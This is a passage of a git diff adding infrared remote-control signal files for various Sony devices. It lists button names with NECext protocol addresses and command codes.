+address: 11 00 00 00 +command: 1F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 27 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 28 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 34 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 39 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 +# +name: Fader +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir new file mode 100644 index 000000000..1f951d345 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 09 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 13 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 15 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 19 00 00 00 +# +name: top_menu +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 33 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 34 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 53 00 00 00 +# +name: i+ +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir new file mode 100644 index 000000000..b7c0986fc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 7B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 7C 00 00 00 +# +name: KEY_B +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir new file mode 100644 index 000000000..ab39f0dc8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 05 00 00 00 +# +name: Band +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: Phono +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0B 00 00 00 +# +name: Preset+ +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 4C 00 00 00 +# +name: Preset- +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 53 00 00 00 +# +name: DBFB +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 54 00 00 00 +# +name: PresetEq +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 55 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 5D 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 8C 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 8D 00 00 00 +# +name: MScan +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 8E 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 92 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 93 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 94 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 95 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 9A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 9B 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 9C 00 00 00 +# +name: Discskip +type: parsed +protocol: NECext +address: 83 00 00 00 +command: C0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir new file mode 100644 index 000000000..de9dce039 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 52 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 53 00 00 00 +# +name: dbfb +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 54 00 00 00 +# +name: file_select +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 55 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 90 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 91 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 93 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 94 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 95 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 96 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 97 00 00 00 +# +name: check +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 99 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 9A 00 00 00 +# +name: disk_skip +type: parsed +protocol: NECext +address: 83 00 00 00 +command: C0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir new file mode 100644 index 000000000..ac9be8ba7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 03 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 07 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 0C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 52 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 53 00 00 00 +# +name: DBFB +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 54 00 00 00 +# +name: FILE_SELECT +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 55 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 90 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 91 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 93 00 00 00 +# +name: SKIP_UP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 94 00 00 00 +# +name: SKIP_DOWN +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 95 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 96 00 00 00 +# +name: FAST_REVERSE +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 97 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 99 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 83 00 00 00 +command: 9A 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: 83 00 00 00 +command: C0 00 00 00 +# +name: DECK_A_PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: D0 00 00 00 +# +name: DECK_B_PLAY +type: parsed +protocol: NECext +address: 83 00 00 00 +command: D5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir new file mode 100644 index 000000000..392c1cfbb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 20 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 24 00 00 00 +# +name: Switch +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 26 00 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 27 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2B 00 00 00 +# +name: KEY_QUIT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 +# +name: Okay +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 33 00 00 00 +# +name: Blank +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 36 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 39 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3B 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir new file mode 100644 index 000000000..a9f841715 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: ch1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: ch2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: ch3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: ch4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: ch5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: ch6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: ch7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: ch8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: ch9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: ch0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: Change +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: Minimise +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 34 00 00 00 +# +name: PLDN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: KEY_MAX +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 38 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: PLUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3C 00 00 00 +# +name: BTN_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 65 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 74 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 75 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir new file mode 100644 index 000000000..33df181e4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir @@ -0,0 +1,86 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0D 00 00 00 +# +name: FM_MW_SW +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0F 00 00 00 +# +name: SEL +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 14 00 00 00 +# +name: SEEK_AMS- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1B 00 00 00 +# +name: SEEK_AMS+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1C 00 00 00 +# +name: DSPL +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 28 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 31 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 37 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 48 00 00 00 +# +name: AF_TA +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 4A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir new file mode 100644 index 000000000..84ce243a9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0D 00 00 00 +# +name: SEL +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 11 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 12 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 14 00 00 00 +# +name: SEEK_AMS- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1B 00 00 00 +# +name: SEEK_AMS+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1C 00 00 00 +# +name: DSPL +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 28 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 31 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 46 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir new file mode 100644 index 000000000..b96f6ca7e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0D 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 11 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 12 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 14 00 00 00 +# +name: SEEK- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1B 00 00 00 +# +name: SEEK+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1C 00 00 00 +# +name: DSPL +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 28 00 00 00 +# +name: DISK+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 30 00 00 00 +# +name: DISK- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 31 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 46 00 00 00 +# +name: DIR +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir new file mode 100644 index 000000000..2405da1b9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: off +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 0D 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 11 00 00 00 +# +name: sound+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 12 00 00 00 +# +name: sound- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 13 00 00 00 +# +name: att +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 14 00 00 00 +# +name: seek- +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1B 00 00 00 +# +name: seek+ +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 1C 00 00 00 +# +name: dspl +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 28 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 30 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 31 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 46 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 84 00 00 00 +command: 47 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir new file mode 100644 index 000000000..2326f3539 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: VOL_INC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL_DEC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: SAP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: TV_VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3A 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 3B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: 